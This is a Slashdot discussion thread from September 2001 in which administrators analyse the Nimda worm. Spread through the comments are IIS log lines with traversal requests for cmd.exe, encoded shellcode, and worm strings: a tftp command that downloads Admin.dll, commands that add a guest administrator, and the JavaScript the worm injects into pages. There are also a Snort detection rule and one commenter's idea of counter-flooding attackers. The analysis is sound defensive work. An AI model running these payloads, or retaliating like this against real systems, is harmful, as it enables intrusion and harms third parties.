    2001-09-18 15:10:20 *.*.*.* GET /scripts/../../winnt/system32/cmd.exe 404 701 97 0 - -

    2001-09-18 15:10:20 *.*.*.* GET /scripts/..\../winnt/system32/cmd.exe 404 701 97 0 - -

    2001-09-18 15:10:21 *.*.*.* GET /scripts/..%5c../winnt/system32/cmd.exe 404 701 98 0 - -

    2001-09-18 15:10:21 *.*.*.* GET /scripts/..%5c../winnt/system32/cmd.exe 404 701 96 0 - -

    2001-09-18 15:10:21 *.*.*.* GET /scripts/..%5c../winnt/system32/cmd.exe 404 701 100 0 - -

    2001-09-18 15:10:21 *.*.*.* GET /scripts/..%2f../winnt/system32/cmd.exe 404 701 96 0 - -

    Furthermore every attacking system was in the same 255.0.0.0/8 as the target system so it appears to target in the same "Class A" address (of course in this case it's 216.x.x.x so it's not really Class A, but you get the point).


  21. More Info by Nater · · Score: 5, Informative

    When the dir command succeeds (or rather, when the worm believes it has succeeded), the next request has a tftp command embedded in it which attempts to install a file called Admin.dll. Following that, there is a request for the dll itself, which presumably kick starts the worm.

    I'll take a look at Admin.dll later today.

    --

    I like to play children's songs in minor keys.
    "We're all sons of bitches now." --J. Robert Oppenheimer

    1. Re:More Info by Nater · · Score: 2

      All I know is what's in my Apache logs. The worm tries to run a 'dir' command via cmd.exe. If it thinks that succeeded, it then runs a 'tftp' command via cmd.exe with parameters to cause it to fetch Admin.dll. After that, it requests Admin.dll directly. I'm not terribly familiar with how IIS is supposed to handle direct requests to DLLs, but I imagine it treats them as server-side logic, rather than static content. If that's the case, then the DLL gets executed and the worm does its business. I've got some work to do, but I'll be taking a look at that DLL later today, like after work. Findings will be posted.

      --

      I like to play children's songs in minor keys.
      "We're all sons of bitches now." --J. Robert Oppenheimer

    2. Re:More Info by Nater · · Score: 2

      It would seem to me, then, that renaming or moving tftp.exe out of c:\winnt\system32 would keep this thing from majorly screwing you.

      Also, bear in mind that removing IIS and installing Apache would keep this thing from majorly screwing you, with the added bonus of shielding you from any other worm that exploits IIS.

      As far as this particular worm is concerned, though, your suggestion would work.

      --

      I like to play children's songs in minor keys.
      "We're all sons of bitches now." --J. Robert Oppenheimer

    3. Re:More Info by Nater · · Score: 2

      Right, so...

      Here's my preliminary analysis of Admin.dll (using strings and nmap):

      It modifies registry keys related to TCP/IP (apparently it blocks incoming SYNs... evidenced by nmapping cracked boxen), Explorer (to unknown effect), and a few other things. Most notably, it turns on extension hiding.

      It contains an SMTP client, and possibly a server, and a hard-coded email which I have yet to really take a good at, except to note the javascript line that opens a file called "readme.eml" (an attachment?).

      It creates an account called "guest" and adds it to the Administrators and Guests groups.

      It may also be making modifications to system.ini and other .ini stuffs in the WINDOWS directory.

      It contains the actual propagation code. I'm not sure if this includes the TFTP server or not.

      I have downloaded Admin.dll from three infected machines and they have different MD5 sums. I do not know if this code is mutagenic or not.

      --

      I like to play children's songs in minor keys.
      "We're all sons of bitches now." --J. Robert Oppenheimer

  22. 'Fuck USA' is sadmind by Gambit+Thirty-Two · · Score: 4, Insightful

    The 'Fuck PoisonBox' you're getting is due to the Sadmind virus.

    More at:
    http://www.symantec.com/avcenter/venc/data/backdoo r.sadmind.html

  23. Corporate ought to be securing the box better... by Svartalf · · Score: 3

    If there's a patch, they should have applied it (If it breaks things, well, perhaps Windows isn't something they should be using...). If the patch doesn't fix this, they should be screaming at MS. If this is a new exploit maybe they should be screaming at MS and checking into a new system design...

    --
    I am not merely a "consumer" or a "taxpayer". I am a Citizen of the State of Texas
  24. Re:Mail servers down by Swordfish · · Score: 3, Offtopic
    It seems to me that it started at approximately 08:42 on Tuesday morning. I wonder what this means?!! I suspect this is not a coincidence.

    It has a very high probability of /16 hits as well as /8 hits.

    It's using about 50% of my modem bandwidth with about 20 IP addresses with port 80 active. It's so bad, I closed down most of my ports 80.

  25. We've been seeing it too by Chang · · Score: 2, Informative

    Snort has been picking this up as IDS297 (directory traversal) and 102:1:1 (ISS Unicode attack) at our location since about 9:00am EDT.

    We are seeing very heavy activity (not as bad as Code Red) since then.

  26. Worm Un-named no longer by GodHead · · Score: 5, Informative

    From NTBugTraq

    w32.nimda.amm

    --
    Just wait till some crappy band steals your nic.
  27. New Virus by Sternn · · Score: 2, Informative

    I contacted UUNET (My T1 provider) and they told me it was a strain of Code Red. It seems to be everywhere. I have isolated a few dozen IP's from my logs already. I have contacted the web admins of the sites in question as well. I am getting about 100+ hits a minute now, utilizing about 10%-20% of the T1 the main webserver is on. I'm guessing this will be a problem for everyone, even if your not running IIS, or your server is patched (like mine), the hundreds of scans can eat your bandwidth away regardless.

    -S

    --
    -Sternn
  28. Apache commands by man_ls · · Score: 2, Informative

    apache_1adminconfig
    fontsmrtns2
    apacheroutedelete
    hpfontsmod_perl-1
    gettime
    big-sister-0
    apachejmeter_1
    pdfwritr
    apache-contrib1lo66293
    routedelete
    autoexec
    apachejmeter_1mod_phantomimap

    No ideas...got me what it's doing.

    I've been getting these, as well as SirCam messages, the "Hi! How are you? I send you this file to ask for you advice..." with ATT0000059.TXT, a 59-byte file, and ATT0000059.DAT, 159KB that looks like it contains some type of executable code.

    I've also gotten the snippits of the registry:
    "ware\Microsoft\Windo,b4 pull123"

    Anyone have any ideas about this? I haven't opened anything except the messages, and Windows 2000 is pretty secure, but I'd rather not get infected with something if possible.

    1. Re:Apache commands by cyberdonny · · Score: 2
      Just strip off the 134k first bytes:
      dd if=file.in of=file.out bs=1024 skip=134

      However, most files have readably Ascii text inside, which can be viewed by strings -a, or even emacs. And if it is a zip file, just unzip it without any further steps: indeed, zip files are "anchored" at the end, and zip transparently ignores any garbage prepended to an archive.

      Maybe, with a little bit of luck somebody might come across a sircamed copy of battle plans that /bin/laden had sent to his cronies...

  29. Re:slashdot community by Rackemup · · Score: 2
    It is pretty cool eh? So many geeks to chip in with knowledge and experience...

    I wonder if our servers are being scanned...

  30. Figured that's what it was. by Perianwyr+Stormcrow · · Score: 2

    Aside from the Code Red usual suspects who've been hitting my server, I've seen a shitload of these, too.

    It doesn't even have a cool name yet. feh.

    --

    What we call folk wisdom is often no more than a kind of expedient stupidity.-Edward Abbey

  31. Info FromRuss at BugTraq by Anonymous Coward · · Score: 5, Interesting

    -----BEGIN PGP SIGNED MESSAGE-----

    There have been numerous reports of IIS attacks being generated by machines over a broad range of IP addresses. These "infected" machines are using a wide variety of attacks which attempt to exploit already known and patched vulnerabilities against IIS.

    It appears that the attacks can come both from email and from the network.

    A new worm, being called w32.nimda.amm, is being sent around. The attachment is called README.EXE and comes as a MIME-type of "audio/x-wav" together with some html parts. There appears to be no text in this message when it is displayed by Outlook when in Auto-Preview mode (always a good indication there's something not quite right with an email.)

    The network attacks against IIS boxes are a wide variety of attacks. Amongst them appear to be several attacks that assume the machine is compromised by Code Red II (looking for ROOT.EXE in the /scripts and /msadc directory, as well as an attempt to use the /c and /d virtual roots to get to CMD.EXE). Further, it attempts to exploit numerous other known IIS vulnerabilities.

    One thing to note is the attempt to execute TFTP.EXE to download a file called ADMIN.DLL from (presumably) some previously compromised box.

    Anyone who discovers a compromised machine (a machine with ADMIN.DLL in the /scripts directory), please forward me a copy of that .dll ASAP.

    Also, look for TFTP traffic (UDP69). As a safeguard, consider doing the following;

    edit %systemroot/system32/drivers/etc/services.

    change the line;

    tftp 69/udp

    to;

    tftp 0/udp

    thereby disabling the TFTP client. W2K has TFTP.EXE protected by Windows File Protection so can't be removed.

    More information as it arises.

    Cheers,
    Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor

    -----BEGIN PGP SIGNATURE-----
    Version: PGP Personal Privacy 6.5.2

    iQCVAwUBO6dmcRBh2Kw/l7p5AQHJCgQA1JHwqF5RjJX+QVMM DU ChVqn6yReQXqEH
    Tm8Ujms5+6ia0tcT1qmZWJV48eHYNzV3+AyyO6Gn8ds/NVYJ Uu pDHB1Yy1DY/po6
    iycY2qnARDJP6KNmHI0bAdBUBtsnVo5P9itElIoqKbAorQja mK I2eqd4TdE0yfIO
    hSW7yN2lhJc=
    =YAwc
    -----END PGP SIGNATURE-----

    1. Re:Info FromRuss at BugTraq by ink · · Score: 2
      W2K has TFTP.EXE protected by Windows File Protection so can't be removed.

      It's always nice when your operating system knows more about your intentions than you do.

      --
      The wheel is turning, but the hamster is dead.
    2. Re:Info FromRuss at BugTraq by 1010011010 · · Score: 2

      TFTP.EXE can be removed. Just remove Windows' backup or "cache" copy first, then delete the real thing.

      --
      Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
    3. Re:Info FromRuss at BugTraq by vslashg · · Score: 2, Interesting

      Or if you REALLY want to piss Win2k off, delete tftp.exe and then immediately make a directory called tftp.exe in its place. It will try to overwrite it but won't be able to. Kind of amusing, anyway.

  32. security focus DOD? by maddogsparky · · Score: 2

    I timed out trying to get to the link. /.ed, or DOD?

    --
    science is a religion
    1. Re:security focus DOD? by maddogsparky · · Score: 2
      Oops, for got to check my post:/

      I meant, is Security Focus /.ed or DDOS? I can't get to it right now.

      --
      science is a religion
    2. Re:security focus DOD? by irix · · Score: 2

      This URL is probably what you are looking for.

      Added text to defeat stupid "postercomment compression filter".

      --

      Do you even know anything about perl? -- AC Replying to Tom Christiansen post.
  33. Damn it! by Reality+Master+101 · · Score: 4, Interesting

    Just when I was hoping my cable company would unblock my HTTP port (which they said was "temporary"). Unfortunately, this will give them more fuel to make it permanent.

    The HTTP port doesn't bug me as much as they have also blocked my mail port.

    Question for sendmail experts out there, related to this: I'm currently using another system to tunnel my mail to my box on my cable modem. It works great, but a side effect is that it looks like all mail is coming from "localhost", which defeats the anti-Spam measures. Of course, it didn't take long for the cockroaches to find my mail server and use it for relaying. I've been fighting it by blocking specific subnets, but it's an annoying battle. Any suggestions?

    --
    Sometimes it's best to just let stupid people be stupid.
    1. Re:Damn it! by b1t+r0t · · Score: 2
      Sendmail does have anti-spam features. If you configure it properly. By building the sendmail.cf file using the M4 macros.

      Using (gag, choke) Linuxconf does not count as "configuring it properly", because Linuxconf merely glues together random snippets of a sendmail.cf file of questionable vintage.

      I'm sure glad I have DSL. Considering that the cable modem people still haven't learned from Code Red, and still have ARP broadcast domains that spam^Hn the entire United States, cable modem service is gonna suck for another two weeks or so until this new mess is cleaned up.

      --

      --
      "Open source is good." - Steve Jobs
      "Open source is evil." - Microsoft
  34. Snort rule by AftanGustur · · Score: 3, Informative


    Add this to your in-house SnortRules file.

    alert TCP $EXTERNAL_NET any -> $HOME_NET 80 (msg:"AfterRed Worm"; flags: A+; content: "/cmd.exe"; nocase;)

    --
    echo '[q]sa[ln0=aln80~Psnlbx]16isb572CCB9AE9DB03273snlbxq' |dc
  35. Declaring "cyberwar" on Afghanistan is a lot like threatening to blow up Kabul's world trade center.

    Oh, they don't have one? Exactly.

    I'd imagine most "cyberwar" would focus on Pakistan, but they're helping us already.

    --

    What we call folk wisdom is often no more than a kind of expedient stupidity.-Edward Abbey

  36. They're very _active_ aren't they... by FreeMars · · Score: 2, Informative

    Those machines must have a lot of probe threads running -- I got hit by a site at 8:47 and again at 10:25. (Or else the random number generator in the worm is bad.)

    My DSL to home is completely swamped ... I can't even get a ping through.

    --
    Email: slashdot3@FreeMars.org (Address will be abandoned when it gets spam.)
  37. Re:Mail servers down by Midnight+Ryder · · Score: 2

    My first log entry for this attack is at 8:08 AM. Just FYI.


    --

    Davis Ray Sickmon, Jr - looking for something to read? Check out my three free novels at MidnightRyder.org

  38. much worse for me than CodeRed by mikeraz · · Score: 2, Interesting

    At the height of code red I was getting ~60 hits a day. This beast has hit my system over 3000 times today.

    Yow.

    --

    There's more to it than this.

  39. Default.asp changed by virus by hex1848 · · Score: 2, Informative

    I just samspaded one of the IP's thats been hitting our site. it places a bit of javascript code at the bottom of the page that basically forces IE to download readme.exe. DO NOT TRY TO GO TO AN INFECTED IP ADDRESS.

  40. Coordinated DDOS? by dschuetz · · Score: 3, Interesting

    If we really are seeing a marked increase in worm traffic (and it's not just everyone suddenly noticing, now that others have brought it up -- just being cautious, eh?), then could it be possible that this might be part of, or a prelude to, a DDOS attack?

    The NIPC issued the following advisory: Potential Distributed Denial of Service (DDoS) Attacks on Monday, talking about reports of people preparing for DDOS attacks on computer and commerce infrastructures. In particular: On September 12, 2001, a group of hackers named the Dispatchers claimed they had already begun network operations against information infrastructure components such as routers. The Dispatchers stated they were targeting the communications and finance infrastructures. They also predicted that they would be prepared for increased operations on or about Tuesday, September 18, 2001.

    Of course, this could just be an ill-timed release of yet another worm (like there're "well-timed" releases?). I just thought that this was particularly spooky, reading this alert after seeing this worm story...

  41. Appeded JavaScript by _Bunny · · Score: 2, Informative
    I've telneted to several of the hosts that have probed us in the last hour.

    It appears that this new worm is appending the following JavaScript snippet to all pages that the server sends:

    <html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000 ")</script></html>
    Not sure what this JavaScript is suppose to do, but it's there none the less.

    - Matt
    1. Re:Appeded JavaScript by Genom · · Score: 2

      The readme.eml file is the payload. Due to what I can only hope is a bug in IE, this type of file will *automatically* execute.

      The file seems to be written in unicode, and has some registry strings in it -- I haven't had a chance to completely dissect it yet.

    2. Re:Appeded JavaScript by JabberWokky · · Score: 2
      readme.eml file is the payload

      I just started browsing the web for the first time this morning, and it *may* be a bad sign that 50% of the sites that I just pulled up keep trying to send me readme.eml, which Konqueror/KDE seems to think is a pine file.

      Gah! Anybody else hitting a massive quantity of these files? I'm looking for decorative nails for a project (the wood kind, not the finger kind), so I'm not browsing IT sites (which would presumably be run on sturdier webservers).

      --
      Evan

      --
      "$30 for the One True Ring. $10 each additional ring!" -- JRR "Bob" Tolkien
    3. Re:Appeded JavaScript by NutscrapeSucks · · Score: 2

      Due to what I can only hope is a bug in IE, this type of file will *automatically* execute.

      In the Windows 'Folder Options' Dialog, there's settings for each file type, including "Confirm Open After Download" -- which is a highly suspect feature that allows users to seemless open (possibly virus laden) Microsoft Office documents and so on.

      A year or more ago, I went through and enabled this setting for pretty much everything I could find (mainly MSO types). I just double-checked and a few MSO types had reverted, but it's currently enabled for .EML and .NWS (Outlook Express types).

      I'm curious what this setting is on a virgin box -- anyone want to take a look?

      --
      Whenever I hear the word 'Innovation', I reach for my pistol.
  42. My college is getting hit pretty bad by Gambit+Thirty-Two · · Score: 2

    Still have access to one of the systems i used to run at my alma mater. im getting SCREENFULLS of logs scrolling by, super fast. Many many hits.

    This looks bad.

    1. Re:My college is getting hit pretty bad by Gambit+Thirty-Two · · Score: 2

      Not on that subnet. looks like 90% of that class A is in Mexico

      /me ponders who you be.
      /me thinks he's got a good idea.

      :)

    2. Re:My college is getting hit pretty bad by Gambit+Thirty-Two · · Score: 2

      Well, reading one of yer previous comments, unless you sign with a fake -sig, i've got no clue who you are.

      bcnu.

  43. Registry Imports: by Gambit+Thirty-Two · · Score: 2

    Some of the lines from the registry it tries to import:

    SYSTEM\CurrentControlSet\Services\Tcpip\Paramete rs \Interfaces Concept Virus(CV) V.5, Copyright(C)2001 R.P.China MIME-Version: 1.0

    Search for 'Concept Virus' to see if you're infected, I guess.

  44. Re:Mail servers down by b0r1s · · Score: 2

    First hit here (Los angeles) ... 18/Sep/2001:07:27:37 -0700

    --
    Mooniacs for iOS and Android
  45. Same one? by briggsb · · Score: 2

    Taco would've know about this months ago. It was annouced here.

  46. EML files in every directory? by msheppard · · Score: 2

    My wife called from home saying, "Something is putting EML files all over my computer...(pause)...and yours too"

    I am running IIS on win2k, have applied the code red patch. Note: I am building the Linux/Apache server RIGHT now, so IIS is on the way out. But if anyone has any idea how this is happening, I'd love the info.

    Looks like this thing kicked off almost excatly one week after the WTC stuff.

    --
    Krispy Cream is people
  47. Why do stacks grow downwards? by Malc · · Score: 2

    Wouldn't it make buffer overruns harder if stacks grew the other way? Is there a reason why a stack can't go upwards?

    1. Re:Why do stacks grow downwards? by strags · · Score: 3, Interesting

      Sadly, I don't think it would help. I thought about this for a moment, and came up with the following... someone please feel free to correct me if I'm mistaken.

      Most buffer overflows are due to code such as:

      void BadFunction(void)
      {
      char badBuf[100];
      strcpy(badBuf,longString);
      ...

      So, your stack looks like:

      --> increasing memory address
      [badBuf 100 bytes][ebp][return addr]

      Standard overflow attacks involve scribbling on the return addr.

      Now, let's suppose your stack goes the other way... once the code enters the strcpy function, we'll have:

      --> increasing memory address
      [return addr][ebp][badBuf][retaddr#2][ebp#2]...

      Where retaddr#2 and ebp#2 are the return address from strcpy back into BadFunction, and the corresponding stack frame ptr respectively.

      Notice that we can now overflow badBuf to scribble on retaddr#2. Thus, when strcpy returns, we can still jump to arbitrary locations. Slightly different approach, same effect.

      Again - this *seems* like it would work, but if anyone can see a flaw, please correct me.

    2. Re:Why do stacks grow downwards? by Malc · · Score: 2

      Why would reversing the direction of stack growth reverse the direction of which buffers are filled?

  48. TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm by CiaranC · · Score: 4, Informative

    TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm

    Date: September 18, 2001
    Time: 1000 EDT

    RISK INDICES:

    Initial Assessment: RED HOT

    Threat: VERY HIGH, (rapidly increasing)

    Vulnerability Prevalence: VERY HIGH, effects IIS servers version 4.0,
    5.0, and internal networks.

    Cost: High, command execution is possible

    Vulnerable Systems: IIS 4.0 and 5.0

    SUMMARY:
    A new IIS worm is spreading rapidly. Its working name is Nimda:
    W32.nimda.a.mm

    It started about 9am eastern time today, Tuesday,September 18, 2001,
    Mulitple sensors world-wide run by TruSecure corporation are getting
    multiple hundred hits per hour. And began at 9:08am am.

    The worm seems to be targeting IIS 4 and 5 boxes and tests boxes for
    multiple vulnerabilities including:

    Almost all are get scripts, and a get msadc (cmd.exe)
    get_mem_bin
    vti_bin owssvr.dll
    Root.exe
    CMD.EXE
    ../ (Unicode)
    Getadmin.dll
    Default.IDA
    /Msoffice/ cltreq.asp

    This is not code red or a code red variant.

    The worm, like code red attempts to infect its local sub net first,
    then spreads beyond the local address space.

    It is spreading very rapidly.

    TruSecure believes that this worm will infect any IIS 4 and IIS 5
    box with well known vulnerabilities. We believe that there are
    nearly 1Million such machines currently exposed to the Internet.

    Risks Indices:
    Vulnerability VULNERABILITY PREVALANCE is very high - Milllions of
    Internet Web server hosts: TruSecure process and essential
    configurations should generally be protective. The vulnerability
    prevalence world-wide is very high

    Threat - VERY HIGH and Growing The rate of growth and spread is
    exceedingly rapid - significantly faster than any worm to date and
    significantly faster than any variant of Code red.

    Cost -- Unknown, probably moderate per infected system.

    The worm itself is a file called
    README.EXE, or ADMIN.DLL
    a 56K file which is advertised as an audio xwave mime type file.

    Other RISKS:
    There is risk of DOS of network segments by traffic volume alone
    There is large risk of successful attack to both Internet exposed IIS
    boxes and to developer and Intranet boxes inside of corporations.

    Judging by the Code Red II experience, we expect many subtle routes
    of infection leading to inside corporate infections.

    We cannot discount the coincidence of the date and time of release,
    exactly one week to (probably to the minute) as the World Trade
    Center attack .

    REPLICATION:
    There are at least three mechanisms of spread:
    The worm seems to spread both by a direct IIS across Internet (IP
    spread)
    It probably also spreads by local shares. (this is not known for
    sure at this time)
    There is also an email vector where README.EXE is sent via email to
    numerous accounts.

    Mitigations
    TruSecure essential practices should work.
    Block all email with EXE attachments
    Filter for README.EXE
    Make sure IIS boxes are well patched and hardened, or removed from
    both the Internet and Intranets.
    Make sure any developer computing platforms are not running IIS of
    any version (many do so by default if either.
    Disconnect mail from the Internet
    Advise users not to double click on any unexpected attachments.
    Update anti-virus when your vendor has the signature.

    1. Re:TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm by CiaranC · · Score: 2, Informative

      http://securityresponse.symantec.com/avcenter/venc /data/w32.nimda.a@mm.html

      Extract:-

      W32.Nimda.A@mm

      Discovered on: September 18, 2001

      Last Updated on: September 18, 2001 at 08:15:23 AM PDT

      This is the preliminary information known at this time.

      There is a new mass-mailing worm that utilizes email to propagate itself. The threat arrives as readme.exe in an email.

      In addition, the worm sends out probes to IIS servers attempting to spread by using the Unicode Web Traversal exploit similar to W32.BlueCode.Worm. Compromised servers may display a webpage prompting a visitor to download an Outlook file which contains the worm as an attachment.

      Also, the worm will create an open network share allowing access to the system. The worm will also attempt to spread via open network shares.

  49. how do I get rid of it? by wiredog · · Score: 2, Informative

    Step 1. Get BSD or Linux
    Step 2. Install.
    Problem fixed.

    1. Re:how do I get rid of it? by Hanno · · Score: 3, Insightful

      No, problem not fixed.

      I work on a dual boot machine. I use Windows when I need it for a particular task and I use Linux when I need that for another particular task.

      Thank you for demonstrating useless advocacy without being helpful whatsoever.

      --

      ------------------
      You may like my a cappella music
    2. Re:how do I get rid of it? by dvdeug · · Score: 2

      Besides the fact he was joking . . .

      I dual boot too. I'm in very little risk of running into this virus. Linux browses the web just fine, so why reboot into Windows to browse the web? If you boot into Windows only to OCR or play Warcraft (like me) or any other limited purpose, then you won't have a problem.

  50. 7:34:46 am Mountain time by MadCow42 · · Score: 2

    I started getting hit by computers on my subnet at 7:34:46am Mountain time (9:34am eastern time).

    Nasty, each computer hit me at least 16 times, and my log is growing fast. (Good thing my logs are in their own partition).

    MadCow.

    --
    I used to have a sig, but I set it free and it never came back.
  51. Look at this one by MxTxL · · Score: 2
    I'm getting pretty hammered with the mentioned worm, but look at this fun one i just pulled out of my logs.

    2001-09-18 05:45:32 195.124.124.237 - 216.119.90.176 GET /default.ida
    Code_Green_<I_like_the_colour-_-><AntiCod eRed-CodeRedIII-IDQ_Patcher>_V1.0_beta_written_ by_'Der_HexXer'-Wuerzburg_Germany-_is_dedicated_to _my_sisterli_'Doro'.Save_Whale_and_visit_<www.b uhaboard.de>_and_<www.buha-security.de>%u 9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u90 90%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003 %u8b00%u531b%u53ff%u0078%u0000%u00=a
    200 206 5995 500 HTTP/1.0 - - - -

  52. Some interesting strings from README.EXE by undie · · Score: 4, Informative

    Here are some interesting strings found in the readme.exe this worm sends down (some stuff snipped):

    Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

    SYSTEM\CurrentControlSet\Services\lanmanserver\S ha res\Security
    share c$=c:\
    user guest ""
    localgroup Administrators guest /add
    localgroup Guests guest /add
    user guest /active
    open
    user guest /add
    HideFileExt

    /scripts
    /MSADC
    /scripts/..%255c..
    /_vti_bin/..%255c../..%255c../..%255c..
    /_mem_bin/..%255c../..%255c../..%255c..
    /msadc/..%255c../..%255c../..%255c/..%c1%1c../.. %c 1%1c../..%c1%1c..
    /scripts/..%c1%1c..
    /scripts/..%c0%2f..
    /scripts/..%c0%af..
    /scripts/..%c1%9c..
    /scripts/..%%35%63..
    /scripts/..%%35c..
    /scripts/..%25%35%63..
    /scripts/..%252f..
    /root.exe?/c+
    /winnt/system32/cmd.exe?/c+
    net%%20use%%20\\%s\ipc$%%20""%%20/user:"guest"
    tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20
    Admin.dll
    c:\Admin.dll
    d:\Admin.dll
    e:\Admin.dll
    window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
    /Admin.dll

    qusery9bnow
    -qusery9bnow
    \mmc.exe
    \riched20.dll
    boot
    Shell
    explorer.exe load.exe -dontrunold
    \system.ini
    \load.exe

    1. Re:Some interesting strings from README.EXE by jsse · · Score: 2

      Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

      Mainland China is "People Republic of China (PRC)".

      Some congressmen call Taiwan "Republic of China".

      So, what is R.P.China?

      Is R.P. an initial of something else? Or somebody who is not Chinese attempted to put the blame on China but accidentally mispelled the name? :)

  53. Information from CERT by weezel · · Score: 2

    I wasn't able to get to Security Focus to see what they had on this but I was able to get to CERT. They have this on their current activity page.

    As of now there's not much more information there than is in the story already.

    Other than the Code Red II backdoor it looks like it's mainly trying to exploit the unicode url hole.

    --
    EOF
  54. Windows 2000 by Mercenary · · Score: 2

    It doesn't seem to execute under Windows 2000. When the payload attempted to run, it failed and a Dr. Watson error occurred.

    _Very_ nasty, until IE 5 is patched!

  55. Interesting Strings in readme.eml by Ex+Machina · · Score: 2, Interesting

    smtp strings
    mime stuff
    mapi stuff
    winzip
    http stuff
    richtext dll stuff
    hidden shares stuff
    webserver sploits
    net use stuff
    Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

  56. if you don't mind a few ipchains rules... by DirkGently · · Score: 4, Informative

    ...try this. its a pretty quick hack, and you'll need to modify the path to your apache logs in the grep line. but its what I just whipped up. hope its useful. I just ran it and it works for me.

    #!/bin/sh

    for LUSER in `grep "winnt" /var/log/httpd/error_log | awk '{print $8}' | sed -e s/]//`; do
    if [ ! "`ipchains -L -n | grep $LUSER`" ]
    then ipchains -A input -s $LUSER -d 0/0 -j DENY
    fi
    done

    --

    I keep trying to pick fights, but I can't shake this Excellent karma.

    1. Re:if you don't mind a few ipchains rules... by DirkGently · · Score: 2

      yeah, I know. nice catch. the other problem is that it runs "ipchains -L -n" A LOT. I mean, the box is a 550 that doesn't do a whole lotta work, so wasting some sub-shells didn't bother me much. I just scratched it together real quick.

      this is what I like about /. . What other publication corrects your typos for you after distribute to the public? : )

      dirk

      --

      I keep trying to pick fights, but I can't shake this Excellent karma.

    2. Re:if you don't mind a few ipchains rules... by MadCow42 · · Score: 2

      I'd rather take a couple of files they're trying to GET, and make a quick CGI script that feeds them garbage data... and keeps feeding it to them.

      Although that ties up my bandwidth too, it should eventually overload their memory/storage, shouldn't it? Might keep them out of action for a bit.

      q:]

      --
      I used to have a sig, but I set it free and it never came back.
  57. Is it worth arguing Linux to ISPs over this? by dmorin · · Score: 2

    I'm sorely tempted to write my ISP (ATT/Roadrunner) and say "Look, guys, do the math. Every Windows machine you have propagates X connections. Every Linux machine you let run propagates *0*. Shouldn't you consider officially encouraging people to run Linux?" But I expect that if I do that, they'll miss the point entirely and say "You're running Linux? Gasp! You're in violation of the terms of service!" It bugs me, because this seems like such a clear argument. Note that I didn't even say "make" people run it, just encourage. More Linux means less viruses. Seems like ISPs would think that's a good idea.

    1. Re:Is it worth arguing Linux to ISPs over this? by PigleT · · Score: 2

      "More Linux means less viruses. Seems like ISPs would think that's a good idea."

      You mean `fewer', apart from the fact that you don't mean that at all.

      `More linux' would result in just the same amount of viruses and, more to the point, worms, because you've still got the same number of black-hats out there writing the things and the same number of real idiots who think they can admin their way out of a paper bag but are somehow exempt from applying updates. Actual choice of `most frequently encountered OS' has stuff-all to do with it: if you've not been totally asleep all year then you'll remember that January - March were full of Ramen, 1i0n and adore worms for linux.

      Think homogeneity.

      --
      ~Tim
      --
      .|` Clouds cross the black moonlight,
      Rushing on down to the circle of the turn
  58. No no exploit. by NetJunkie · · Score: 2

    It doesn't seem to be a new exploit. Just another package for the existing exploits. So, make sure you're current and you should be OK.

    On the side...I haven't gotten any hits in our log files yet.

    1. Re:No no exploit. by NetJunkie · · Score: 2

      Post back what you find..I'd be interested to know. Yeah, VMWare is great for making a nice cage for testing these things.

      Checking our logs now on our web servers..things are picking up, but nowhere near what others are seeing yet.

  59. I reall need by wiredog · · Score: 2

    To start putting in my posts. I know keeping a sense of humor is difficult lately, especially for those of us in target zones, but, Christ, do I need to start putting "Imagine a beowulf cluster of these" in every post?

  60. "Annoying" Microsoft Worms by cyberdonny · · Score: 2

    Care to explain how anything that helps convince people not to use Microsoft can be called "annoying" ;-)

  61. Info on this from Symantic by alteridem · · Score: 2
    Symantic just released a report on this virus. I will reproduce the text here;

    This is the preliminary information known at this time.

    There is a new mass-mailing worm that utilizes email to propagate itself. The threat arrives as readme.exe in an email.

    In addition, the worm sends out probes to IIS servers attempting to spread by using the Unicode Web Traversal exploit similar to W32.BlueCode.Worm. Compromised servers may display a webpage prompting a visitor to download an Outlook file which contains the worm as an attachment.

    Also, the worm will create an open network share allowing access to the system. The worm will also attempt to spread via open network shares.

  62. I've had it by elefantstn · · Score: 2

    We've got three infected workstations out of six here at work now. We were already planning on putting in six Linux workstations, but now we're going to have to go to all Linux (and Mac for the artists). This is ridiculous.

    Any one of you damn "Stop bashing Microsoft, it could happen to any OS" bastards who comes on here is going to get a beating. Maybe it could, but it doesn't, and I for one am sick and tired of this crap. Goodbye, MS.

    --
    If it ain't broke, you need more software.
    1. Re:I've had it by dasunt · · Score: 2


      No, correct me if I'm wrong, but doesn't this worm target unpatched windows servers?


      So, you are thus expecting that poorly patched linux servers will be better then poorly patched windows servers?


      Tried the exploit of the *.eml under Win2k with service pack 2 installed (thus running IE5.50.x) Didn't work. Call me foolish, but if you can't be bothered to do a start->windows update, and grab the latest patches available, I'm guessing that you're too lazy to patch a *nix box.


      What this worm exploits is old holes in the most common operating system. There isn't any reason why a *nix worm couldn't me made on the same principles.


      Just my $.02

  63. Time for a class action lawsuit against Microsoft. by fmaxwell · · Score: 4, Troll

    Microsoft has cost ISPs, businesses, and end users an incalculable amount of money and frustration and it is all due to their negligence. They were negligent when they created software and technologies that are so easily exploited. They were negligent in their testing of their products. They were negligent in not sending patch CDs through the mail to registered users. If they can send you upgrade offers via the mail, they can send you patch CDs to repair their defective products.

    And before anyone starts quoting the Microsoft license, ISPs that run Linux/*BSD/Solaris are being hurt by the traffic, too. They have no license with Microsoft and they've been injured by Microsoft's negligence.

    I'd like to see AOL, Earthlink, or some other big ISP take Microsoft's corporate butt to court, demanding compensatory and punitive damages for Microsoft's negligence.

  64. Strange Emails by JCMay · · Score: 2
    I've received a couple of wierd emails this morning. They've come from different senders, but they have two things in common: long, meaningless subjects and no body text. Here's an example:


    From: Save Address | Headers
    To:
    Date: Tue, 18 Sep 2001 12:14:49 -0400
    Subject: Messaging Subsystem\Profiles\aabbccsql replication_sub_table_v12_220010912_passdrowscurre ntsenthilsql replication_sub_table_v12_2sql
